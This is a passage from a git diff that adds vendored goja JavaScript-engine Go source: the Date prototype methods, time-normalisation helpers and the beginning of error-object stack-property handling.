&& year <= 9999 { + return asciiString(utc.Format(isoDateTimeLayout)) + } + // extended year + return asciiString(fmt.Sprintf("%+06d-", year) + utc.Format(isoDateTimeLayout[5:])) + } else { + panic(r.newError(r.getRangeError(), "Invalid time value")) + } + } + panic(r.NewTypeError("Method Date.prototype.toISOString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toJSON(call FunctionCall) Value { + obj := call.This.ToObject(r) + tv := obj.toPrimitiveNumber() + if f, ok := tv.(valueFloat); ok { + f := float64(f) + if math.IsNaN(f) || math.IsInf(f, 0) { + return _null + } + } + + if toISO, ok := obj.self.getStr("toISOString", nil).(*Object); ok { + if toISO, ok := toISO.self.assertCallable(); ok { + return toISO(FunctionCall{ + This: obj, + }) + } + } + + panic(r.NewTypeError("toISOString is not a function")) +} + +func (r *Runtime) dateproto_toPrimitive(call FunctionCall) Value { + o := r.toObject(call.This) + arg := call.Argument(0) + + if asciiString("string").StrictEquals(arg) || asciiString("default").StrictEquals(arg) { + return o.ordinaryToPrimitiveString() + } + if asciiString("number").StrictEquals(arg) { + return o.ordinaryToPrimitiveNumber() + } + panic(r.NewTypeError("Invalid hint: %s", arg)) +} + +func (r *Runtime) dateproto_toDateString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(dateLayout)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toDateString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toTimeString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(timeLayout)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toTimeString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toLocaleString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(datetimeLayout_en_GB)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toLocaleString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toLocaleDateString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(dateLayout_en_GB)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toLocaleDateString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_toLocaleTimeString(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return asciiString(d.time().Format(timeLayout_en_GB)) + } else { + return stringInvalidDate + } + } + panic(r.NewTypeError("Method Date.prototype.toLocaleTimeString is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_valueOf(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(d.msec) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.valueOf is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getTime(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(d.msec) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getTime is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getFullYear(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Year())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getFullYear is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCFullYear(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Year())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCFullYear is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getMonth(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Month()) - 1) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getMonth is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCMonth(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Month()) - 1) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCMonth is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getHours(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Hour())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getHours is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCHours(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Hour())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCHours is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getDate(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Day())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getDate is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCDate(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Day())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCDate is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getDay(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Weekday())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getDay is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCDay(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Weekday())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCDay is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getMinutes(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Minute())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getMinutes is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCMinutes(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Minute())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCMinutes is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getSeconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Second())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getSeconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCSeconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Second())) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCSeconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getMilliseconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.time().Nanosecond() / 1e6)) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getMilliseconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getUTCMilliseconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + return intToValue(int64(d.timeUTC().Nanosecond() / 1e6)) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getUTCMilliseconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_getTimezoneOffset(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + if d.isSet() { + _, offset := d.time().Zone() + return floatToValue(float64(-offset) / 60) + } else { + return _NaN + } + } + panic(r.NewTypeError("Method Date.prototype.getTimezoneOffset is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setTime(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + n := call.Argument(0).ToNumber() + if IsNaN(n) { + d.unset() + return _NaN + } + return d.setTimeMs(n.ToInteger()) + } + panic(r.NewTypeError("Method Date.prototype.setTime is called on incompatible receiver")) +} + +// _norm returns nhi, nlo such that +// +// hi * base + lo == nhi * base + nlo +// 0 <= nlo < base +func _norm(hi, lo, base int64) (nhi, nlo int64, ok bool) { + if lo < 0 { + if hi == math.MinInt64 && lo <= -base { + // underflow + ok = false + return + } + n := (-lo-1)/base + 1 + hi -= n + lo += n * base + } + if lo >= base { + if hi == math.MaxInt64 { + // overflow + ok = false + return + } + n := lo / base + hi += n + lo -= n * base + } + return hi, lo, true +} + +func mkTime(year, m, day, hour, min, sec, nsec int64, loc *time.Location) (t time.Time, ok bool) { + year, m, ok = _norm(year, m, 12) + if !ok { + return + } + + // Normalise nsec, sec, min, hour, overflowing into day. + sec, nsec, ok = _norm(sec, nsec, 1e9) + if !ok { + return + } + min, sec, ok = _norm(min, sec, 60) + if !ok { + return + } + hour, min, ok = _norm(hour, min, 60) + if !ok { + return + } + day, hour, ok = _norm(day, hour, 24) + if !ok { + return + } + if year > math.MaxInt32 || year < math.MinInt32 || + day > math.MaxInt32 || day < math.MinInt32 || + m >= math.MaxInt32 || m < math.MinInt32-1 { + return time.Time{}, false + } + month := time.Month(m) + 1 + return time.Date(int(year), month, int(day), int(hour), int(min), int(sec), int(nsec), loc), true +} + +func _intArg(call FunctionCall, argNum int) (int64, bool) { + n := call.Argument(argNum).ToNumber() + if IsNaN(n) { + return 0, false + } + return n.ToInteger(), true +} + +func _dateSetYear(t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var year int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + year, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + if year >= 0 && year <= 99 { + year += 1900 + } + } else { + year = int64(t.Year()) + } + + return _dateSetMonth(year, t, call, argNum+1, utc) +} + +func _dateSetFullYear(t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var year int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + year, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + year = int64(t.Year()) + } + return _dateSetMonth(year, t, call, argNum+1, utc) +} + +func _dateSetMonth(year int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var mon int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + mon, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + mon = int64(t.Month()) - 1 + } + + return _dateSetDay(year, mon, t, call, argNum+1, utc) +} + +func _dateSetDay(year, mon int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var day int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + day, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + day = int64(t.Day()) + } + + return _dateSetHours(year, mon, day, t, call, argNum+1, utc) +} + +func _dateSetHours(year, mon, day int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var hours int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + hours, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + hours = int64(t.Hour()) + } + return _dateSetMinutes(year, mon, day, hours, t, call, argNum+1, utc) +} + +func _dateSetMinutes(year, mon, day, hours int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var min int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + min, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + min = int64(t.Minute()) + } + return _dateSetSeconds(year, mon, day, hours, min, t, call, argNum+1, utc) +} + +func _dateSetSeconds(year, mon, day, hours, min int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var sec int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + sec, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + sec = int64(t.Second()) + } + return _dateSetMilliseconds(year, mon, day, hours, min, sec, t, call, argNum+1, utc) +} + +func _dateSetMilliseconds(year, mon, day, hours, min, sec int64, t time.Time, call FunctionCall, argNum int, utc bool) (time.Time, bool) { + var msec int64 + if argNum == 0 || argNum > 0 && argNum < len(call.Arguments) { + var ok bool + msec, ok = _intArg(call, argNum) + if !ok { + return time.Time{}, false + } + } else { + msec = int64(t.Nanosecond() / 1e6) + } + var ok bool + sec, msec, ok = _norm(sec, msec, 1e3) + if !ok { + return time.Time{}, false + } + + var loc *time.Location + if utc { + loc = time.UTC + } else { + loc = time.Local + } + r, ok := mkTime(year, mon, day, hours, min, sec, msec*1e6, loc) + if !ok { + return time.Time{}, false + } + if utc { + return r.In(time.Local), true + } + return r, true +} + +func (r *Runtime) dateproto_setMilliseconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + n := call.Argument(0).ToNumber() + if tv == timeUnset { + return _NaN + } + if IsNaN(n) { + d.unset() + return _NaN + } + msec := n.ToInteger() + sec := tv / 1e3 + var ok bool + sec, msec, ok = _norm(sec, msec, 1e3) + if !ok { + d.unset() + return _NaN + } + return d.setTimeMs(sec*1e3 + msec) + } + panic(r.NewTypeError("Method Date.prototype.setMilliseconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCMilliseconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + n := call.Argument(0).ToNumber() + if tv == timeUnset { + return _NaN + } + if IsNaN(n) { + d.unset() + return _NaN + } + msec := n.ToInteger() + sec := tv / 1e3 + var ok bool + sec, msec, ok = _norm(sec, msec, 1e3) + if !ok { + d.unset() + return _NaN + } + return d.setTimeMs(sec*1e3 + msec) + } + panic(r.NewTypeError("Method Date.prototype.setUTCMilliseconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setSeconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.time(), call, -5, false) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setSeconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCSeconds(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.timeUTC(), call, -5, true) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCSeconds is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setMinutes(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.time(), call, -4, false) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setMinutes is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCMinutes(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.timeUTC(), call, -4, true) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCMinutes is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setHours(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.time(), call, -3, false) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setHours is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCHours(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.timeUTC(), call, -3, true) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCHours is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setDate(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.time(), limitCallArgs(call, 1), -2, false) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setDate is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCDate(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.timeUTC(), limitCallArgs(call, 1), -2, true) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCDate is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setMonth(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.time(), limitCallArgs(call, 2), -1, false) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setMonth is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCMonth(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + tv := d.msec + t, ok := _dateSetFullYear(d.timeUTC(), limitCallArgs(call, 2), -1, true) + if !ok { + d.unset() + return _NaN + } + if tv == timeUnset { + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCMonth is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setFullYear(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + var t time.Time + if d.isSet() { + t = d.time() + } else { + t = time.Date(1970, time.January, 1, 0, 0, 0, 0, time.Local) + } + t, ok := _dateSetFullYear(t, limitCallArgs(call, 3), 0, false) + if !ok { + d.unset() + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setFullYear is called on incompatible receiver")) +} + +func (r *Runtime) dateproto_setUTCFullYear(call FunctionCall) Value { + obj := r.toObject(call.This) + if d, ok := obj.self.(*dateObject); ok { + var t time.Time + if d.isSet() { + t = d.timeUTC() + } else { + t = time.Date(1970, time.January, 1, 0, 0, 0, 0, time.UTC) + } + t, ok := _dateSetFullYear(t, limitCallArgs(call, 3), 0, true) + if !ok { + d.unset() + return _NaN + } + return d.setTimeMs(timeToMsec(t)) + } + panic(r.NewTypeError("Method Date.prototype.setUTCFullYear is called on incompatible receiver")) +} + +var dateTemplate *objectTemplate +var dateTemplateOnce sync.Once + +func getDateTemplate() *objectTemplate { + dateTemplateOnce.Do(func() { + dateTemplate = createDateTemplate() + }) + return dateTemplate +} + +func createDateTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.getFunctionPrototype() + } + + t.putStr("name", func(r *Runtime) Value { return valueProp(asciiString("Date"), false, false, true) }) + t.putStr("length", func(r *Runtime) Value { return valueProp(intToValue(7), false, false, true) }) + + t.putStr("prototype", func(r *Runtime) Value { return valueProp(r.getDatePrototype(), false, false, false) }) + + t.putStr("parse", func(r *Runtime) Value { return r.methodProp(r.date_parse, "parse", 1) }) + t.putStr("UTC", func(r *Runtime) Value { return r.methodProp(r.date_UTC, "UTC", 7) }) + t.putStr("now", func(r *Runtime) Value { return r.methodProp(r.date_now, "now", 0) }) + + return t +} + +func (r *Runtime) getDate() *Object { + ret := r.global.Date + if ret == nil { + ret = &Object{runtime: r} + r.global.Date = ret + r.newTemplatedFuncObject(getDateTemplate(), ret, r.builtin_date, + r.wrapNativeConstruct(r.builtin_newDate, ret, r.getDatePrototype())) + } + return ret +} + +func createDateProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getDate(), true, false, true) }) + + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toString, "toString", 0) }) + t.putStr("toDateString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toDateString, "toDateString", 0) }) + t.putStr("toTimeString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toTimeString, "toTimeString", 0) }) + t.putStr("toLocaleString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toLocaleString, "toLocaleString", 0) }) + t.putStr("toLocaleDateString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toLocaleDateString, "toLocaleDateString", 0) }) + t.putStr("toLocaleTimeString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toLocaleTimeString, "toLocaleTimeString", 0) }) + t.putStr("valueOf", func(r *Runtime) Value { return r.methodProp(r.dateproto_valueOf, "valueOf", 0) }) + t.putStr("getTime", func(r *Runtime) Value { return r.methodProp(r.dateproto_getTime, "getTime", 0) }) + t.putStr("getFullYear", func(r *Runtime) Value { return r.methodProp(r.dateproto_getFullYear, "getFullYear", 0) }) + t.putStr("getUTCFullYear", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCFullYear, "getUTCFullYear", 0) }) + t.putStr("getMonth", func(r *Runtime) Value { return r.methodProp(r.dateproto_getMonth, "getMonth", 0) }) + t.putStr("getUTCMonth", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCMonth, "getUTCMonth", 0) }) + t.putStr("getDate", func(r *Runtime) Value { return r.methodProp(r.dateproto_getDate, "getDate", 0) }) + t.putStr("getUTCDate", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCDate, "getUTCDate", 0) }) + t.putStr("getDay", func(r *Runtime) Value { return r.methodProp(r.dateproto_getDay, "getDay", 0) }) + t.putStr("getUTCDay", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCDay, "getUTCDay", 0) }) + t.putStr("getHours", func(r *Runtime) Value { return r.methodProp(r.dateproto_getHours, "getHours", 0) }) + t.putStr("getUTCHours", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCHours, "getUTCHours", 0) }) + t.putStr("getMinutes", func(r *Runtime) Value { return r.methodProp(r.dateproto_getMinutes, "getMinutes", 0) }) + t.putStr("getUTCMinutes", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCMinutes, "getUTCMinutes", 0) }) + t.putStr("getSeconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_getSeconds, "getSeconds", 0) }) + t.putStr("getUTCSeconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCSeconds, "getUTCSeconds", 0) }) + t.putStr("getMilliseconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_getMilliseconds, "getMilliseconds", 0) }) + t.putStr("getUTCMilliseconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_getUTCMilliseconds, "getUTCMilliseconds", 0) }) + t.putStr("getTimezoneOffset", func(r *Runtime) Value { return r.methodProp(r.dateproto_getTimezoneOffset, "getTimezoneOffset", 0) }) + t.putStr("setTime", func(r *Runtime) Value { return r.methodProp(r.dateproto_setTime, "setTime", 1) }) + t.putStr("setMilliseconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_setMilliseconds, "setMilliseconds", 1) }) + t.putStr("setUTCMilliseconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCMilliseconds, "setUTCMilliseconds", 1) }) + t.putStr("setSeconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_setSeconds, "setSeconds", 2) }) + t.putStr("setUTCSeconds", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCSeconds, "setUTCSeconds", 2) }) + t.putStr("setMinutes", func(r *Runtime) Value { return r.methodProp(r.dateproto_setMinutes, "setMinutes", 3) }) + t.putStr("setUTCMinutes", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCMinutes, "setUTCMinutes", 3) }) + t.putStr("setHours", func(r *Runtime) Value { return r.methodProp(r.dateproto_setHours, "setHours", 4) }) + t.putStr("setUTCHours", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCHours, "setUTCHours", 4) }) + t.putStr("setDate", func(r *Runtime) Value { return r.methodProp(r.dateproto_setDate, "setDate", 1) }) + t.putStr("setUTCDate", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCDate, "setUTCDate", 1) }) + t.putStr("setMonth", func(r *Runtime) Value { return r.methodProp(r.dateproto_setMonth, "setMonth", 2) }) + t.putStr("setUTCMonth", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCMonth, "setUTCMonth", 2) }) + t.putStr("setFullYear", func(r *Runtime) Value { return r.methodProp(r.dateproto_setFullYear, "setFullYear", 3) }) + t.putStr("setUTCFullYear", func(r *Runtime) Value { return r.methodProp(r.dateproto_setUTCFullYear, "setUTCFullYear", 3) }) + t.putStr("toUTCString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toUTCString, "toUTCString", 0) }) + t.putStr("toISOString", func(r *Runtime) Value { return r.methodProp(r.dateproto_toISOString, "toISOString", 0) }) + t.putStr("toJSON", func(r *Runtime) Value { return r.methodProp(r.dateproto_toJSON, "toJSON", 1) }) + + t.putSym(SymToPrimitive, func(r *Runtime) Value { + return valueProp(r.newNativeFunc(r.dateproto_toPrimitive, "[Symbol.toPrimitive]", 1), false, false, true) + }) + + return t +} + +var dateProtoTemplate *objectTemplate +var dateProtoTemplateOnce sync.Once + +func getDateProtoTemplate() *objectTemplate { + dateProtoTemplateOnce.Do(func() { + dateProtoTemplate = createDateProtoTemplate() + }) + return dateProtoTemplate +} + +func (r *Runtime) getDatePrototype() *Object { + ret := r.global.DatePrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.DatePrototype = ret + r.newTemplatedObject(getDateProtoTemplate(), ret) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_error.go b/backend/vendor/github.com/dop251/goja/builtin_error.go new file mode 100644 index 0000000..a7eae7d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_error.go @@ -0,0 +1,314 @@ +package goja + +import "github.com/dop251/goja/unistring" + +const propNameStack = "stack" + +type errorObject struct { + baseObject + stack []StackFrame + stackPropAdded bool +} + +func (e *errorObject) formatStack() String { + var b StringBuilder + val := writeErrorString(&b, e.val) + if val != nil { + b.WriteString(val) + } + b.WriteRune('\n') + + for _, frame := range e.stack { + b.writeASCII("\tat ") + frame.WriteToValueBuilder(&b) + b.WriteRune('\n') + } + return b.String() +} + +func (e *errorObject) addStackProp() Value { + if !e.stackPropAdded { + res := e._putProp(propNameStack, e.formatStack(), true, false, true) + if len(e.propNames) > 1 { + // reorder property names to ensure 'stack' is the first one + copy(e.propNames[1:], e.propNames) + e.propNames[0] = propNameStack + } + e.stackPropAdded = true + return res + } + return nil +} + +func (e *errorObject) getStr(p unistring.String, receiver Value) Value { + return e.getStrWithOwnProp(e.getOwnPropStr(p), p, receiver) +} + +func (e *errorObject) getOwnPropStr(name unistring.String) Value { + res := e.baseObject.getOwnPropStr(name) + if res == nil && name == propNameStack { + return e.addStackProp() + } + + return res +} + +func (e *errorObject) setOwnStr(name unistring.String, val Value, throw bool) bool { + if name == propNameStack { + e.addStackProp() + } + return e.baseObject.setOwnStr(name, val, throw) +} + +func (e *errorObject) setForeignStr(name unistring.String, val, receiver Value, throw bool) (bool, bool) { + return e._setForeignStr(name, e.getOwnPropStr(name), val, receiver, throw) +} + +func (e *errorObject) deleteStr(name unistring.String, throw bool) bool { + if name == propNameStack { + e.addStackProp() + } + return e.baseObject.deleteStr(name, throw) +} + +func (e *errorObject) defineOwnPropertyStr(name unistring.String, desc PropertyDescriptor, throw bool) bool { + if name == propNameStack { + e.addStackProp() + } + return e.baseObject.defineOwnPropertyStr(name, desc, throw) +} + +func (e *errorObject) hasOwnPropertyStr(name unistring.String) bool { + if e.baseObject.hasOwnPropertyStr(name) { + return true + } + + return name == propNameStack && !e.stackPropAdded +} + +func (e *errorObject) stringKeys(all bool, accum []Value) []Value { + if all && !e.stackPropAdded { + accum = append(accum, asciiString(propNameStack)) + } + return e.baseObject.stringKeys(all, accum) +} + +func (e *errorObject) iterateStringKeys() iterNextFunc { + e.addStackProp() + return e.baseObject.iterateStringKeys() +} + +func (e 